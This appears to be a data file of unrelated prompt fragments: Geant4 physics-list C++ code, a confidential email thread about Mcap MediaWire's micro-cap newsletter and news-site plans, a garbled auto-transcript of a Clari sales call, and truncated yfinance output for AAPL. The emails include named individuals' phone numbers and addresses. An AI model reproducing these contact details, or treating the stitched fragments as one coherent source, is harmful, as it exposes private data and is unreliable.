// nuclear stopping is enabled if th eenergy limit above zero\n G4double nielEnergyLimit = param->MaxNIELEnergy();\n G4NuclearStopping\\* pnuc = nullptr;\n if(nielEnergyLimit > 0.0) {\n pnuc = new G4NuclearStopping();\n pnuc->SetMaxKinEnergy(nielEnergyLimit);\n }\n\n // Add gamma EM Processes\n G4ParticleDefinition\\* particle = G4Gamma::Gamma();\n\n G4PhotoElectricEffect\\* pe = new G4PhotoElectricEffect();\n G4VEmModel\\* peModel = new G4LivermorePhotoElectricModel();\n pe->SetEmModel(peModel);\n if(param->EnablePolarisation()) {\n peModel->SetAngularDistribution(new G4PhotoElectricAngularGeneratorPolarized());\n }\n\n G4ComptonScattering\\* cs = new G4ComptonScattering();\n cs->SetEmModel(new G4KleinNishinaModel());\n\n G4GammaConversion\\* gc = new G4GammaConversion();\n if(param->EnablePolarisation()) {\n gc->SetEmModel(new G4BetheHeitler5DModel());\n }\n\n G4RayleighScattering\\* rl = new G4RayleighScattering();\n if(param->EnablePolarisation()) {\n rl->SetEmModel(new G4LivermorePolarizedRayleighModel());\n }\n\n if(G4EmParameters::Instance()->GeneralProcessActive()) {\n G4GammaGeneralProcess\\* sp = new G4GammaGeneralProcess();\n sp->AddEmProcess(pe);\n sp->AddEmProcess(cs);\n sp->AddEmProcess(gc);\n sp->AddEmProcess(rl);\n G4LossTableManager::Instance()->SetGammaGeneralProcess(sp);\n ph->RegisterProcess(sp, particle);\n } else {\n ph->RegisterProcess(pe, particle);\n ph->RegisterProcess(cs, particle);\n ph->RegisterProcess(gc, particle);\n ph->RegisterProcess(rl, particle);\n }\n\n // e-\n particle = G4Electron::Electron();\n \n G4UrbanMscModel\\* msc1 = new G4UrbanMscModel();\n G4EmBuilder::ConstructElectronMscProcess(msc1, nullptr, particle);\n\n G4eIonisation\\* eIoni = new G4eIonisation();\n\n G4eBremsstrahlung\\* brem = new G4eBremsstrahlung();\n G4SeltzerBergerModel\\* br1 = new G4SeltzerBergerModel();\n G4eBremsstrahlungRelModel\\* br2 = new G4eBremsstrahlungRelModel();\n br1->SetAngularDistribution(new G4Generator2BS());\n br2->SetAngularDistribution(new G4Generator2BS());\n brem->SetEmModel(br1);\n brem->SetEmModel(br2);\n br2->SetLowEnergyLimit(CLHEP::GeV);\n\n G4ePairProduction\\* ee = new G4ePairProduction();\n\n ph->RegisterProcess(eIoni, particle);\n ph->RegisterProcess(brem, particle);\n ph->RegisterProcess(ee, particle);\n\n // e+\n particle = G4Positron::Positron();\n \n msc1 = new G4UrbanMscModel();\n G4EmBuilder::ConstructElectronMscProcess(msc1, nullptr, particle);\n\n eIoni = new G4eIonisation();\n\n brem = new G4eBremsstrahlung();\n br1 = new G4SeltzerBergerModel();\n br2 = new G4eBremsstrahlungRelModel();\n br1->SetAngularDistribution(new G4Generator2BS());\n br2->SetAngularDistribution(new G4Generator2BS());\n brem->SetEmModel(br1);\n brem->SetEmModel(br2);\n br2->SetLowEnergyLimit(CLHEP::GeV);\n\n ph->RegisterProcess(eIoni, particle);\n ph->RegisterProcess(brem, particle);\n ph->RegisterProcess(ee, particle);\n ph->RegisterProcess(new G4eplusAnnihilation(), particle);\n\n // generic ion\n particle = G4GenericIon::GenericIon();\n G4ionIonisation\\* ionIoni = new G4ionIonisation();\n auto fluc = new G4IonFluctuations();\n ionIoni->SetFluctModel(fluc);\n ionIoni->SetEmModel(new G4LindhardSorensenIonModel());\n ph->RegisterProcess(hmsc, particle);\n ph->RegisterProcess(ionIoni, particle);\n if(nullptr != pnuc) { ph->RegisterProcess(pnuc, particle); }\n\n // muons, hadrons, ions\n G4EmBuilder::ConstructCharged(hmsc, pnuc, false);\n\n // extra configuration\n G4EmModelActivator mact(GetPhysicsName());\n}\n\n//....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo......' -"Mcap MediaWire\n \nTue, Feb 28, 1:03\u202fPM (2 days ago)\n \nto me, Erwin, Mark\n\nJeff:\n\n \n\nGREAT NEWS!!! \n\n \n\nAs you know, my principal working load is the daily operation and tech side. \n\n \n\nI believe I can develop a great Networking Project but asking you for helping hands in creating the presentation. \n\n \n\nLet me explain: \n\n \n\nProject: Increasing of Mcap Network Endpoints together with a Monetization Option. \n\n \n\nProject A: \n\n \n\nName: THE MICRO CAP OBSERVER – Weekly Newsletter for public listed Micro Cap Corporation \n\n \n\nInitial Cost: Domain Name reservation, Host and one or two business emails, Phone Number \n\nPlanned dominion name: http://themicrocapobserver.com/ \n\nPlanned Logo: \n\n \nMonthly cost: USD 150.00 (1 Site) down to USD 125.00 (Bulk Sites) for Software License \n\n \n\nMonetization: Banner/Advertisements sold by Mcap, Google Ads, and other third-party Ad Sellers \n\n \n\nProject B: \n\n \n\nName: Bulk WordPress News Sites (5 sites for every 30 days, 20 sites for the next 120 days, 60 sites for the next 12 months. \n\nInitial Cost: Domain Name reservations, Host and one or two business emails, Phone Number \n\nPlanned principal dominion name: http://www.mcapmediagroup.com/ \n\nExample: Affinity Group Publishing - A Global Publishing Network \n\nSub dominion name for each site (Example:) http://www.mcapmediagroup.com/technews (technews is only an example) \n\nSite Example: 24/7 Business Reporter (247businessreporter.com) \n\n \n\nAll sites will be having the same Template but different Logos and Colors. \n\n \n\nThis is a simple Import/export of steady RSS FEED Content starting first with Mcap but also offering this option as BULK for Content delivery provided from third-party Wire Services or Marketing/IR Firms. \n\nAll sites are planned to be created to accept Multimedia Content as we actually deliver with RSS FEED to ARGUS Journal with Social Media Share Gadget. \n\n \n\nThe bulk Price per site development will be USD 250.00 (including initial integration of RSS FEED Import/Export with 5 minutes updates). If we agree on 5 Sites monthly for the next 12 months, I could get us the price down to $225.00 per site. This included Website Development and Creation. We may have additional Host Fees, but smaller than 300 to 400 USD monthly and for all sites. \n\n \n\nAny additional cost in need from the Web developer would be $15.00/Hour. \n\n \n\nMonetization: Banner/Advertisements sold by Mcap, Google Ads, and other third-party Ad Sellers \n\n \n\nProject C: \n\n \n\nClosing Network Partnership with COMTEXT to Increase Syndication of our RSS FEED. Based on a first calculation, the cost per Submission would be around $26.00 and include important Syndicate Endpoints where COMTEX is exclusive. \n\n \n\nRegards,\n\n \n\nThomas Wolff\n\nCOO\n\n \n\n \n\n(707) 682-9473\n\n \n\ncs@mcapmedia.com\n\ntw@mcapmedia.com\n\nhttps://www.mcapmediawire.com\n\n@McapMediaWire | Linktree\n\n \n\nFollow Mcap MediaWire : Instagram Twitter Facebook LinkedIn Youtube\n\n \n\nDISCLAIMER: CONFIDENTIALITY NOTICE TO RECIPIENT\n\nThis email (including attachments) is covered by the Electronic Communications Privacy Act, 18 U.S.C. §§ 2510-2521, is confidential and may be legally privileged. If you are not the intended recipient, you are hereby notified that any retention, dissemination, distribution or copying of this communication is strictly prohibited. If you have received this message in error, please notify the sender, and delete it immediately.\n\n \n\n \nDe: Jeff Palumbo \nEnviado: Tuesday, February 28, 2023 10:43:52 AM\nPara: Erwin Pena ; Mcap MediaWire ; Mark Newbauer \nAsunto: Capital\n \nLooks like we have agreed to terms for a possible closing next week for the capital in MCAP and MCAP will be public. This deal is an loi and not contracted or closed. However the terms are currently agreed to by both parties. \n\nTo this end, I would like to put together an action plan for the first 30 and the next 120 days. I would like to know from you anything that you think should be included in that plan or things you need to have addressed during that period for you to be more successful.\n\nPlease include anything you feel is important and needs to be accounted for and acted upon for your job and for the company overall. Any high level details you can provide on each item is appreciated, please include soft or hard costs if you know them. \n\nExiting new chapter for us ahead. \n\nJeff Palumbo \n...\n\n[Message clipped] View entire message\nMcap MediaWire\n \nAttachmentsTue, Feb 28, 1:58\u202fPM (2 days ago)\n \nto me, Erwin, Mark\n\nJeff: \n\n \n\nPlease see attached the potential sales volume for the planned weekly/monthly Newsletter \n\n \n\nTo be honest. This is copied from another Rate Offer. Of course, Fee rates can be changed or text can be deleted or added. \n\n \n\nI want only to show the potential of selling Advertisement Space. \n\n \n\nWe have around 200 registered Clients in the publicly listed Micro Cap Space, and almost all on OTC. There is also a huge Market Niche called NASDAQ and NYSE Nano and Micro Caps.\n\n \n\nI have a planned Conference with the Software Licenser to discuss the potential Adverdicement Spaces available. This is more a tech talk and not closing of Cooperation.\n\n \n\nRegards, \n\n...\n\n[Message clipped] View entire message\n One attachment • Scanned by Gmail\nJeff Palumbo \n \nAttachmentsTue, Feb 28, 2:54\u202fPM (2 days ago)\n \nto Mcap, Erwin, Mark\nWe are going to be launching dozens of new destination vertical news websites. Hope you have ideas on how to monetize that. Let me know your thoughts.. \n 4 Attachments • Scanned by Gmail\nMcap MediaWire\n \nTue, Feb 28, 3:04\u202fPM (2 days ago)\n \nto me, Mcap, Erwin\nAbsolutely-- enhanced dissemination add-ons, company ads/banners for sale, I'll put together some ideas we've discussed in the past\nBest, \n\nMark B. Newbauer\nPresident/Founder\nFollow Mcap MediaWire : Instagram Twitter Facebook LinkedIn Youtube\n\n \n\nDISCLAIMER: CONFIDENTIALITY NOTICE TO RECIPIENT\n\nThis email (including attachments) is covered by the Electronic Communications Privacy Act, 18 U.S.C. §§ 2510-2521, is confidential and may be legally privileged. If you are not the intended recipient, you are hereby notified that any retention, dissemination, distribution or copying of this communication is strictly prohibited. If you have received this message in error, please notify the sender, and delete it immediately.\nMcap MediaWire\n \nTue, Feb 28, 3:05\u202fPM (2 days ago)\n \nto me, Erwin, Mark\n\nJeff:\n\n \n\nThe idea is selling Ad spaces to our clients. The Weekly planned News Letter will included OTC Pinks, OTCQB, NASDAG and NYSE Section with around 10 to 20 subcats per Category.\n\n \n\nThere will be always the option to get Google Ads on the site with signed of a Referal Program with the Software Group who in fact has more tan 100 online and printed Newsletter on their Server.\n\n \n\nFYI: the License fee for the Weekly planned Newsletter will be 150 monthly down to 125 if we purchase 5+ Licenses.\n\n \n\nThis are the Example Sites\n\n \n\nhttps://www.miningnewsnorth.com/ (look Ads on the right part)\n\nhttps://www.metaltechnews.com/ (look Ads on the right site)\n\n \n\nSame Software License. Cost for both Site = $250 monthly (as this is a Group who working with 5+ Lincenses/News Sites)\n\n \n\nBest regards,\n...\n\n[Message clipped] View entire message\nMcap MediaWire\n \nAttachmentsTue, Feb 28, 3:05\u202fPM (2 days ago)\n \nto Mark, me, Erwin\n\nMark:\n\n \n\nSome ideas attached\n\n \n\nBest regards,\n\n \n\nThomas Wolff\n\nCOO\n\n \n\n \n\n(707) 682-9473\n\n \n\ncs@mcapmedia.com\n\ntw@mcapmedia.com\n\nhttps://www.mcapmediawire.com\n\n@McapMediaWire | Linktree\n\n \n\nFollow Mcap MediaWire : Instagram Twitter Facebook LinkedIn Youtube\n\n \n\nDISCLAIMER: CONFIDENTIALITY NOTICE TO RECIPIENT\n\nThis email (including attachments) is covered by the Electronic Communications Privacy Act, 18 U.S.C. §§ 2510-2521, is confidential and may be legally privileged. If you are not the intended recipient, you are hereby notified that any retention, dissemination, distribution or copying of this communication is strictly prohibited. If you have received this message in error, please notify the sender, and delete it immediately.\n\n \n\nDe: Mark Newbauer\nEnviado: martes, 28 de febrero de 2023 02:04 p. m.\nPara: Jeff Palumbo\nCC: Mcap MediaWire; Erwin Pena\nAsunto: Re: Thomas - Project\n\n \n\nAbsolutely-- enhanced dissemination add-ons, company ads/banners for sale, I'll put together some ideas we've discussed in the past\n\n \n\n \n\nBest, \n\n \n\nMark B. Newbauer\n\nPresident/Founder\n\n \n\nFollow Mcap MediaWire : Instagram Twitter Facebook LinkedIn Youtube\n\n \n\nDISCLAIMER: CONFIDENTIALITY NOTICE TO RECIPIENT\n\nThis email (including attachments) is covered by the Electronic Communications Privacy Act, 18 U.S.C. §§ 2510-2521, is confidential and may be legally privileged. If you are not the intended recipient, you are hereby notified that any retention, dissemination, distribution or copying of this communication is strictly prohibited. If you have received this message in error, please notify the sender, and delete it immediately.\n\n \n\n \n\n \n\nOn Tue, Feb 28, 2023 at 12:54\u202fPM Jeff Palumbo wrote:\n\n We are going to be launching dozens of new destination vertical news websites. Hope you have ideas on how to monetize that. Let me know your thoughts.. \n\n \n\n On Tue, Feb 28, 2023, 1:58 PM Mcap MediaWire wrote:\n\n Jeff: \n\n \n\n Please see attached the potential sales volume for the planned weekly/monthly Newsletter \n\n \n\n To be honest. This is copied from another Rate Offer. Of course, Fee rates can be changed or text can be deleted or added. \n\n \n\n I want only to show the potential of selling Advertisement Space. \n\n \n\n We have around 200 registered Clients in the publicly listed Micro Cap Space, and almost all on OTC. There is also a huge Market Niche called NASDAQ and NYSE Nano and Micro Caps.\n\n \n\n I have a planned Conference with the Software Licenser to discuss the potential Adverdicement Spaces available. This is more a tech talk and not closing of Cooperation.\n\n \n\n Regards, \n\n Thomas Wolff\n\n COO\n\n \n\n \n\n (707) 682-9473\n\n \n\n cs@mcapmedia.com\n\n tw@mcapmedia.com\n\n https://www.mcapmediawire.com\n\n @McapMediaWire | Linktree\n\n \n\n Follow Mcap MediaWire : Instagram Twitter Facebook LinkedIn Youtube\n\n \n\n DISCLAIMER: CONFIDENTIALITY NOTICE TO RECIPIENT\n\n This email (including attachments) is covered by the Electronic Communications Privacy Act, 18 U.S.C. §§ 2510-2521, is confidential and may be legally privileged. If you are not the intended recipient, you are hereby notified that any retention, dissemination, distribution or copying of this communication is strictly prohibited. If you have received this message in error, please notify the sender, and delete it immediately.\n\n \n\n \n\n De: Mcap MediaWire\n Enviado: martes, 28 de febrero de 2023 12:03 p. m.\n Para: Jeff Palumbo; Erwin Pena; Mark Newbauer\n Asunto: Thomas - Project\n\n \n\n Jeff:\n\n \n\n GREAT NEWS!!! \n\n \n\n As you know, my principal working load is the daily operation and tech side. \n\n \n\n I believe I can develop a great Networking Project but asking you for helping hands in creating the presentation. \n\n \n\n Let me explain: \n\n \n\n Project: Increasing of Mcap Network Endpoints together with a Monetization Option. \n\n \n\n Project A: \n\n \n\n Name: THE MICRO CAP OBSERVER – Weekly Newsletter for public listed Micro Cap Corporation \n\n \n\n Initial Cost: Domain Name reservation, Host and one or two business emails, Phone Number \n\n Planned dominion name: http://themicrocapobserver.com/ \n\n Planned Logo: \n\n \n Monthly cost: USD 150.00 (1 Site) down to USD 125.00 (Bulk Sites) for Software License \n\n \n\n Monetization: Banner/Advertisements sold by Mcap, Google Ads, and other third-party Ad Sellers \n\n \n\n Project B: \n\n \n\n Name: Bulk WordPress News Sites (5 sites for every 30 days, 20 sites for the next 120 days, 60 sites for the next 12 months. \n\n Initial Cost: Domain Name reservations, Host and one or two business emails, Phone Number \n\n Planned principal dominion name: http://www.mcapmediagroup.com/ \n\n Example: Affinity Group Publishing - A Global Publishing Network \n\n Sub dominion name for each site (Example:) http://www.mcapmediagroup.com/technews (technews is only an example) \n\n Site Example: 24/7 Business Reporter (247businessreporter.com) \n\n \n\n All sites will be having the same Template but different Logos and Colors. \n\n \n\n This is a simple Import/export of steady RSS FEED Content starting first with Mcap but also offering this option as BULK for Content delivery provided from third-party Wire Services or Marketing/IR Firms. \n\n All sites are planned to be created to accept Multimedia Content as we actually deliver with RSS FEED to ARGUS Journal with Social Media Share Gadget. \n\n \n\n The bulk Price per site development will be USD 250.00 (including initial integration of RSS FEED Import/Export with 5 minutes updates). If we agree on 5 Sites monthly for the next 12 months, I could get us the price down to $225.00 per site. This included Website Development and Creation. We may have additional Host Fees, but smaller than 300 to 400 USD monthly and for all sites. \n\n \n\n Any additional cost in need from the Web developer would be $15.00/Hour. \n\n \n\n Monetization: Banner/Advertisements sold by Mcap, Google Ads, and other third-party Ad Sellers \n\n \n\n Project C: \n\n \n\n Closing Network Partnership with COMTEXT to Increase Syndication of our RSS FEED. Based on a first calculation, the cost per Submission would be around $26.00 and include important Syndicate Endpoints where COMTEX is exclusive. \n\n \n\n Regards,\n\n \n\n Thomas Wolff\n\n COO\n\n \n\n \n\n (707) 682-9473\n\n \n\n cs@mcapmedia.com\n\n tw@mcapmedia.com\n\n https://www.mcapmediawire.com\n\n @McapMediaWire | Linktree\n\n \n\n Follow Mcap MediaWire : Instagram Twitter Facebook LinkedIn Youtube\n\n \n\n DISCLAIMER: CONFIDENTIALITY NOTICE TO RECIPIENT\n\n This email (including attachments) is covered by the Electronic Communications Privacy Act, 18 U.S.C. §§ 2510-2521, is confidential and may be legally privileged. If you are not the intended recipient, you are hereby notified that any retention, dissemination, distribution or copying of this communication is strictly prohibited. If you have received this message in error, please notify the sender, and delete it immediately.\n\n \n\n \n\n De: Jeff Palumbo \n Enviado: Tuesday, February 28, 2023 10:43:52 AM\n Para: Erwin Pena ; Mcap MediaWire ; Mark Newbauer \n Asunto: Capital\n\n \n\n \n\n \n One attachment • Scanned by Gmail" -'This is the first 15 mins of a sales call: "> Stephen Donohoe 00:00\nHave you been lazy? Did you have a nice weekend.\n> \n\n> Lizy Thomson 00:03\nStill recovering from the flu. We\'ve got flu brains here. All of us. Dealing with the weather change. And there\'s the influenza going around. And just not recovering too quickly from it so.\n> \n\n> Stephen Donohoe 00:19\nGoing to keep my camera off again. Stephen sorry.\n> \n\n> Lizy Thomson 00:22\nI was thinking this one. You said maybe today I\'ll do better and turn my camera on. But feeling like ships. Sorry.\n> \n\n> Curt Weaver 00:29\nNo, that\'s quite our ice. And don\'t worry about it.\n> \n\n> Stephen Donohoe 00:32\nAre you starting to improve it all? Or is it kind of hanging around.\n> \n\n> Lizy Thomson 00:37\nSo the minute I stock a few battle. You know. My kids, then get it. And then they give it back to me. And then we\'re just kind of. Reinfecting each other quite conveniently. Here. Recovering for a bit and then getting. Sick again. So it\'s been a bit weird because here, like we spoke the last time. Stephen is getting warmer.\n> \n\n> Stephen Donohoe 01:07\nAnd then we have a bit of sandstones that comes in from Saudi.\n> \n\n> Lizy Thomson 01:11\nAnd normally when those samsungs come and everyone\'s going down. With. Virals in Dubai. So that\'s the situation hereby.\n> \n\n> Stephen Donohoe 01:21\nYeah. Okay. And the dance trials, they can just come out of nowhere, can\'t they.\n> \n\n> Lizy Thomson 01:26\nOut of nowhere take over the entire city. Reduce visibility people with asthma Dust allergies. They just get so unwell normal people as well, because it comes to the acs. So even if we\'re in those and we think we\'re safe because it\'s like the fine dust it comes through the AC, the AC ventilation, and then.\n> \n\n> Stephen Donohoe 01:50\nYeah? There\'s no escape? No escape.\n> \n\n> Lizy Thomson 01:54\nHopefully you start to get on the mend.\n> \n\n> Stephen Donohoe 01:56\nAnd soon enough I know it\'s. I don\'t. Have kids myself. I know, Kurt. You do. But from what I hear is, yeah, it can be quite cyclical. And these illnesses, they can just keep going around.\n> \n\n> Lizy Thomson 02:11\nAbsolutely. So but. It\'s it\'s good. I mean, there\'s good to have company in misery. So it\'s okay. Lizzy, I can relate.\n> \n\n> Curt Weaver 02:26\nNo, no, I can relate. It seems like seems like we\'ve had something in our house since November. So just. I have three little kids. They\'re four, eight and nine. And so. One of them will get it passed to one of the parents, and then just it just goes around like you said. But I\'m really hoping 2023 is a year where we have like one week without anyone being sick.\n> \n\n> Curt Weaver 02:55\nSharing is caring.\n> \n\n> Lizy Thomson 02:56\nMy kids are way older. My kids are 18. My daughter turned 18. Two weeks ago. And my son is 16. But it never changes. It\'s always the same scenario. Sharing is caring, and then they start blaming each other. Typical sibling site. Well, they\'re more social at that age, too.\n> \n\n> Curt Weaver 03:20\nSo it\'s easy to keep my fouryearold daughter at home if she\'s sick. But, you know, understand. I remember being 18, and it was a harder to keep me up in the house.\n> \n\n> Lizy Thomson 03:29\nAbsolutely. Yeah. That\'s my situation right now. So we think we\'re getting better. And then two days later, we\'re down with this And it\'s really bad Cox and fevers and body aches. So it\'s a nasty, nasty viral that has definitely evolved into a superbug. That\'s what the doctors are seeing in Dubai as well. There was a news article yesterday that said the influenza. Bug has evolved into a superbug. So. Yep, it\'s fun. We\'re having a party hand by.\n> \n\n> Stephen Donohoe 04:01\nExciting times.\n> \n\n> Lizy Thomson 04:06\nI was super excited after the last meeting. I love what Carry has to offer. Was even sharing that with Nathan. I love the analytics, I love the AI. Element to it as well. I love your dashboards. So exciting. So really looking forward to today as well.\n> \n\n> Stephen Donohoe 04:26\nOkay. Awesome. I\'m glad to hear I didn\'t do a terrible job then. First some context. Curse is one of our solution engineers here as well. Lizzy. So. We can with curtain when Natan comes on as well, we can jump in or we can hold on for another couple of minutes. That\'s totally up to you, but we can start diving into some of the detail in specifically around. The consumption piece. I know that\'s an element to the business, but we can keep it pretty fluid as well. And if there\'s anything top of mind that you want to cover. Yeah. Do field questions, Curtis. Certainly the brains behind the operation here. So. You\'re well supported.\n> \n\n> Lizy Thomson 05:12\nWhat I didn\'t see the last time, but I\'m sure it\'s on clarity is like a Kp. dashboard. You know, apart from the Salesforce. That\'s. Then it\'s fantastic. There\'s also the Kpi dashboards that is currently. Managed manually. You know, in excel and with formulas. And then, of course, we recently converted those to Power Bi. But. Does clarity have. A version also that showcases. Like a scope of a comparative performance. Chart showing. Kpis. Kpi. Performance. Between each sales rep and then rolled up to the sales leader. There\'s something like that. On Clari.\n> \n\n> Stephen Donohoe 06:05\nSo. We can I suppose the short answer is yes, but requires a caveat that we would just need to understand specifically what it is that you\'re referring to. I think one thing that would be really helpful as well. At some point we can get a mutual mda in places, but just to get some visibility over the kpis that you\'re tracking and how you\'re visualizing that in excel. And in Power bi and we can see if it\'s that we can put together in a dashboard. I\'m not sure karate have there\'s any additional context that you would kind of add there.\n> \n\n> Curt Weaver 06:38\nI think you nailed it. I mean, it\'s just about understanding what kpis are tracked. And there\'s probably several different ways we can support that. And Clari. The forecast module comes to mind where because you mentioned roll up. Right. So it\'s just understanding what formulas that you\'re using today, in which metrics that you\'re interested in tracking and then. Most of our customers, what they do is they\'ll have. Steven, I\'m sure you let them know that in clarity you\'re not limited to one view of the forecast. So let\'s just say you have your sales global sales forecast in clarity. You could have a separate Kpi dashboard or Kpi based roll up where it\'s less about. Okay, well, what\'s the commit and upside, right?\n> \n\n> Lizy Thomson 07:24\nIt\'s more about here\'s the here of the sales reps and the frontline manager.\n> \n\n> Curt Weaver 07:28\nAnd maybe we\'re tracking asp\'s sales cycle link thing like things like that and rolling that.\n> \n\n> Lizy Thomson 07:36\nYou all of that. Yep. That\'s exactly what I\'m talking about.\n> \n\n> Curt Weaver 07:39\nCool. I need to. Hey, guys.\n> \n\n> Nathan Seldon 07:42\nHey, Stephen. Hey, cut. Sorry I got tied up on a on another call, which is actually about this. Let\'s get.\n> \n\n> Stephen Donohoe 07:51\nNo worries at all have you been. Yeah.\n> \n\n> Nathan Seldon 07:53\nVery good. Thanks. Very good. How about yourself? Yeah. Keep them.\n> \n\n> Stephen Donohoe 07:56\nWell, thank you. Keep them well. I just thought I\'d mention as well. I\'m not sure if you saw the email came through, but I put together just an intro for yourself and Johnny from compliance. He just shared his calendar there. They\'ve been a customer for a few years. By the way, similar stack to you. They use kaia and Outreach for top of funnel as well. They do.\n> \n\n> Nathan Seldon 08:20\nInteresting. They they do use kaya.\n> \n\n> Stephen Donohoe 08:22\nYeah. I think they use Outreach for tapa funnel. And for kaya, they might even use it for more. But I think that\'s it and then Clarity for kind of forecasting, pipeline management, things like that. But Johnny is very familiar with the Clarity platform, so definitely a good person to speak to.\n> \n\n> Nathan Seldon 08:38\nSure. Yeah. I\'ll try and connect with him this week. I saw you share this calendar there, so hopefully get a chance to sync up.\n> \n\n> Stephen Donohoe 08:44\nOkay. Cool. Well, if you need my help at all, just let me know. And yeah, outside of that and me curse and curse one of our solution engineers here. So as I was saying to Lizzie, there definitely the brains behind the operation between the two of us. So be good to kind of dive into some of the more. Yeah tactical and detail stuff around the forecasting especially consumption today.\n> \n\n> Curt Weaver 09:06\nAbsolutely nice to meet you. Hi, Nathan. Nice to meet you as well.\n> \n\n> Nathan Seldon 09:11\nHow you doing. Yeah. Doing great, man. Doing great.\n> \n\n> Curt Weaver 09:15\nExcited. Use case here around your Usage product. Based in Philadelphia. I\'ve been with Clari for about three years and typically focus on Enterprise forecasting, deployments. So we have had a couple customers come through with the consumption use case. And so Stephen tapped me to consult on what you guys are doing, so hopefully we can help you out with Larry.\n> \n\n> Stephen Donohoe 09:41\nTrust. So look, I suppose by way of an agenda for the call today, we\'ve got another 35 minutes set aside and thought it\'d best just to kind of keep this pretty conversational. I mean, we can potentially jump in and show you elements of clarity as well, if needs be. I suppose the most important thing is that we get a full understanding for how you\'re currently. I suppose. Forecasting and measuring, but also then hosting data around that consumption piece as well so that we can kind of go away and put together a couple of different options and see if we can find a solution that\'s going to work for you on that. So yeah, I suppose maybe over to you initially to just give a little bit of an overview. Maybe. Nathan, Lizzie around how you\'re currently reporting. On that consumption at the moment. And I\'m sure Kurt will have a few questions as we go. Or unless Krista was something that you wanted to kind of kick off with.\n> \n\n> Curt Weaver 10:32\nNothing to present, but if we could start at a high level and just understand the gotomarket approach for that product. And then how you\'re reporting and forecasting on that that would be very helpful.\n> \n\n> Nathan Seldon 10:47\nYeah, no problem. I\'ll have a swing at them. So the product in question is called Martrus. So it\'s. A Payments business. You can see it more as like a fintech play. Not too dissimilar to like revolute or Monzo or you know, some of these kind of popular. He kind of more ewlowerdriven solutions that you see nowadays. So the go to market approaches like our vertical. Across all of our products is within shipping. So when we talk about that, it\'s like. Transportation Companies that move product by see. On Large tanker, bulk vessels. Right. And so the Martros product is aimed at the seafarers, because that\'s where the volume is in terms of.\n> \n\n> Curt Weaver 11:40\nPersonnel.\n> \n\n> Nathan Seldon 11:42\nSo here\'s what selling to a shipping company. Who are responsible for those seafarers onboard vessels. And really the. Kind of three main products that we would try and sell into a shipping company. One is. The Crew Payment solution. So.\n> \n\n> Curt Weaver 12:02\nEvery time you pay your seatbearer, which typically once a month.\n> \n\n> Nathan Seldon 12:07\nAnd even any of your employees. But more typically, the seafarers is where the value proposition makes sense. We would basically charge you $12 flat on that transaction. Right. Because those seeds bearers are typically getting paid in local currency. So that\'s a once a month transaction. And then. And this is where it gets a little bit complex. So that\'s quite predictable. That\'s a beta B type cell, right. Every Cfare is going to get paid every month.\n> \n\n> Curt Weaver 12:40\nPretty.\n> \n\n> Nathan Seldon 12:41\nThere\'s then a B to B to C element because of our E wallet solution, which is once you paid those cf errors, they can also take advantage of our E wallet solution. And that helps them send money back home to their families. Right. So if the Cfarer decides to take that up. Then we typically see another $1212. Plus a small amount of fx revenue. So you could say $15 on when they paid or when they make another bank to bank transfer, which is typically like one or two. It\'s normally one to family back home. Right. And then you have card usage, which is like point of sale atma type transactions on that card. But that\'s going to be like really small fx revenue, which is tiny.\n> \n\n> Curt Weaver 13:34\nBut.\n> \n\n> Nathan Seldon 13:36\nIt does make up part of the like the revenue portfolio for ewallet, but again really difficult to forecast people use for it but just want to kind of paint the picture and then the other the other. Part the mantra solution is kind of like whilst we\'re talking to you, we could also handle your vendor payment. So when you pay vendors. It\'ll be a same same platform. Ultimately, what are we doing? We\'re making payments faster with fewer transaction fees. With a much better compliance platform kind of wrapped around it. And again, we\'re going to find around $15 there per transaction when they pay their customers. So the vendor payments is quite predictable. If the customer give us their volume. We know the fee that we\'re going to get per, you know, bank to make transfer.\n> \n\n> Curt Weaver 14:24\nThe crew payments is quite predictable.\n> \n\n> Nathan Seldon 14:27\nI just need to know how many crew you got and just confirm you pay them once a month. Is really tricky because that\'s that B to be to C element. Like, how many times are they gonna send money back home per month. How many times are they going to do atm withdrawals? They\'re buy a packet cigarettes. So they\'re gonna go and buy like a new car. Like.\n> \n\n> Curt Weaver 14:53\nJust really difficult.\n> \n\n> Nathan Seldon 14:54\nAnd obviously we\'re making a few dollars on the fx as well every time they spend. And so, yeah, it\'s high. The average base that\'s highly, like. The challenge, as well as the ramp. So if you told me you\'ve got 100 C fairs. Making. One payment, a month. $12 a month. That\'s quite easy for me to figure out what annually you\'re worth. Whatever. Right. But on the e wallet side. I don\'t know when your sea bearer is gonna choose to use it because they don\'t have to use it. No one can force them to use it if they don\'t want to. So like if you guys said, hey, we\'ve got this amazing deal with revolution. If you use that card, you get all of these amazing perks. You might say I\'m gonna stay with, like, Citibank. I\'m not gonna use that. And so you\'re one less person that they have predicted that\'s just kind of dropped off, if that makes sense. But you never truly know when they\'re gonna drop off because there\'s no light optout or I want to say no. It\'s just like working with the accounts trying drive the doctrine. So as that ramp piece as well, which is which is which is tricky because we might say in accounts worth 100 grand and we sign them and we only find that within twelve months we found like 30 grand because we didn\'t get the adoption of the evolve.\n>"' -"that code returns PS C:\\Users\\andy9\\Desktop\\python> & C:/Users/andy9/AppData/Local/Programs/Python/Python310/python.exe c:/Users/andy9/Desktop/python/0326\\_quant\\_ex.py\n[\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*100%\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*] 20 of 20 completed\n\n1 Failed download:\n- FB: No timezone found, symbol may be delisted\nError: Incomplete fundamental data for AAPL\n{'symbol': 'AAPL', 'twoHundredDayAverageChangePercent': 0.08320716, 'dividendDate': 1676505600, 'fiftyTwoWeekLowChangePercent': 0.2905694, 'averageAnalystRating': '2.0 - Buy', 'language': 'en-US', 'regularMarketDayRange': '157.85 - 160.34', 'earningsTimestampEnd': 1682942400, 'epsForward': 6.61, 'regularMarketDayHigh': 160.34, 'twoHundredDayAverageChange': 12.309692, 'twoHundredDayAverage': 147.9403, 'askSize': 8, 'bookValue': 3.581, \n'fiftyTwoWeekHighChange': -19.36, 'marketCap': 2535459389440, 'fiftyTwoWeekRange': '124.17 - 179.61', 'fiftyDayAverageChange': 11.374603, 'firstTradeDateMilliseconds': 345479400000, 'averageDailyVolume3Month': 70658500, 'exchangeDataDelayedBy': 0, 'trailingAnnualDividendRate': 0.91, 'fiftyTwoWeekLow': 124.17, 'market': 'us\\_market', 'regularMarketVolume': 59256343, 'postMarketPrice': 160.23, 'quoteSourceName': 'Nasdaq Real Time Price', 